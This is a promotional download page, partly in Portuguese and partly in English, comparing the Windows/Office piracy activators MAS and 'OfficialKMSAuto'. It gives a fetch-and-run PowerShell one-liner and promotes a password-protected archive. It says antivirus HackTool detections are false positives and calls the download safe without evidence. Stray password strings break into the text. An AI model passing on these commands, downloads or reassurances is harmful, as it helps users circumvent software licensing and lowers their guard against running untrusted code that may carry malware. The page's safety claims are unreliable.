MAS vs KMSAuto — Comparação 2026
Este artigo é o guia completo em português sobre MAS vs KMSAuto em 2026. Deep comparison of Microsoft Activation Scripts (MAS) vs OfficialKMSAuto in 2026: delivery model, offline support, methods, and which to pick.
WYqejXiqBi97Este artigo é o guia completo em português sobre MAS vs KMSAuto em 2026. Microsoft Activation Scripts — usually called MAS — is a community-maintained collection of activation scripts hosted on GitHub. The one-liner irm https://massgrave.dev/get | iex fetches and runs the launcher in PowerShell. OfficialKMSAuto ships the same five methods as a single offline .cmd you can carry on a USB stick. This guide walks through every practical difference.
Same methods, different delivery
Both MAS and OfficialKMSAuto expose HWID, KMS38, Ohook, TSforge, and Online KMS. The end result is identical — a licensed Windows or Office install. What differs is how the script reaches your machine and whether the internet is required at runtime.
MAS: online-first PowerShell launcher
MAS auto-updates every time you run the one-liner because the launcher fetches the latest modules from massgrave.dev. This is ideal for connected machines on relaxed ExecutionPolicy.
- Requires internet at runtime
- Requires PowerShell with relaxed ExecutionPolicy
- Always the latest build
- View source: github.com/massgravel/Microsoft-Activation-Scripts
OfficialKMSAuto: offline single-file .cmd
OfficialKMSAuto is a single audited batch script. Copy it to a USB stick, boot an air-gapped lab machine, and activate without ever touching the internet.
- Works 100% offline
- Single plain-text .cmd, openable in Notepad
- Pin a specific version forever
- Best for air-gapped, hardened, or restricted hosts
When to pick which
If your machine has internet and you want auto-updates, MAS is great. If you need offline, air-gapped, or hardened-host support — or you simply want a single file you can audit in Notepad — pick OfficialKMSAuto.
Safety
Both projects are open source and reviewed by the activator community. Defender flags both with the generic HackTool:Win32/AutoKMS family signature. Always download MAS from massgrave.dev and OfficialKMSAuto from officialkmsauto.com.
Frequently asked questions
▸Is OfficialKMSAuto free to use?
Yes. OfficialKMSAuto is 100% free, open source and ad-free. There are no premium tiers and no surveys to complete.
▸Is the activator safe?
Yes. The build is SHA-256 verified and scanned on VirusTotal. Antivirus engines flag every KMS activator generically as HackTool because it touches Windows licensing — that is a false positive, not malware.
▸Do I need an internet connection?
HWID and Online KMS need a short internet connection to receive the digital license. Ohook works fully offline. After activation you can disconnect — the license is stored on the machine.
▸Will activation survive Windows updates?
Yes. HWID and Ohook produce permanent licenses that survive feature updates and even fresh reinstalls when the same hardware is detected.
▸What is the archive password?
The official archive password is WYqejXiqBi97. You can copy it from the download button on this page.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97